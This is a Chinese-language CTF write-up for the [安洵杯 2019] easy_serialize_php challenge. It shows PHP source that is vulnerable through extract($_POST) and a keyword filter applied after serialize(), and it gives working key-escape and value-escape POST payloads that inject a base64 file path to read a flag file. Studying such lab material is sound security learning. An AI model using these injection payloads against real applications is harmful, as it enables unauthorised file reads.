1. 程式人生 > 其它 >[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

easy_serialize_php

考點:PHP反序列化的物件逃逸

PS:任何具有一定結構的資料,只要經過了某些處理把自身結構改變,則可能會產生漏洞

過濾函式分為2種

  1. 關鍵詞數增加
  2. 關鍵詞數減少

首先開啟頁面就可以檢視原始碼(最喜歡做程式碼審計的題了(~ ̄▽ ̄)~):

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

通過filter()函式可知,這個是屬於第二種過濾函式(即關鍵詞數減少)。

知道這些又有什麼用呢?我們來一步一步的解讀程式碼看看

  1. 簡單來說就是清空SESSION內的值,防止影響之後的傳參
if($_SESSION){
    unset($_SESSION);
}
  1. 官方描述:extract() 函式從陣列中將變數匯入到當前的符號表。
extract($_POST);
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
    
>> $a = Cat; $b = Dog; $c = Horse 
  1. 這條程式碼沒有那麼難理解,但是它卻決定了你最後輸出了啥!(所以請牢記這條程式碼)
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
  1. 將session的值序列化之後進行過濾(同樣很重要的一條程式碼)
$serialize_info = filter(serialize($_SESSION));
  1. 從這條程式碼可以發現,如果我們最後要讀取資料,必須滿足第3個if語句,並且要讓'img'變成想要的引數,但是有通過第3段程式碼我們知道,如果要給'img_path'傳參,之後會導致'img'的值為被sha1不可逆加密,所以必然是不可取得!所以我們必須要從資料改變結構的過程中進行改變資料
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

舉個例子:

$a['abcdefg']=';s:1:"1";s:3:"img";s:5:"Hello";}';
$a['cc']=2;
echo serialize($a);
==> a:2:{s:7:"abcdefg";s:48:";s:1:"1";s:3:"img";s:5:"Hello";}";s:2:"cc";i:2;}

注意觀察序列化後的字串,想一想,如果在它之中刪去一些東西,是不是可以改變它原本的內容
這就是題目一開始說的,過濾函式使關鍵詞數減少,我們試著刪除一些關鍵詞:

a:2:{s:7:"abcdefg";s:48:";s:1:"1";s:3:"img";s:5:"Hello";}";s:2:"cc";i:2;}
==>
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:5:"Hello";}";s:2:"cc";i:2;}
再次觀察這個刪除關鍵詞後的序列化字串

它反序列化後應該是這樣的:

Array[";s:48:]==>"1"
Array[img]==>"Hello"

以上就是PHP反序列化物件逃逸中的“值逃逸”

物件逃逸一共分為倆種:

  1. 值逃逸

  2. 鍵逃逸

接下來我們分別使用這2種方法來完成這道題,並從中學會如何逃逸

思路一:鍵逃逸

其中使用逃逸的鍵為'flagphp'

POST:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
extract()==> $_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
serialize()==>
a:2:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
filter()==>
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw=="}

思路二:值逃逸

其中使用逃逸的值為'flagflagflagflagflagflag'

POST:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
==> $_SESSION[user]=flagflagflagflagflagflag&$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
==> 
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
==>
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

PS:有些小夥伴可能就會問了,用來逃逸的值或者鍵為啥要用’flagphp‘或者是6個'flag'呢?其實,用什麼內容進行逃逸並不重要,重要的是逃逸的內容必須滿足一定的長度才可以使得它逃逸之後的序列化字串是正確的。比如6個'flag'就可以替換為8個’php'!

忘記說了,原始碼提示在phpinfo()有提示d0g3_f1ag.php!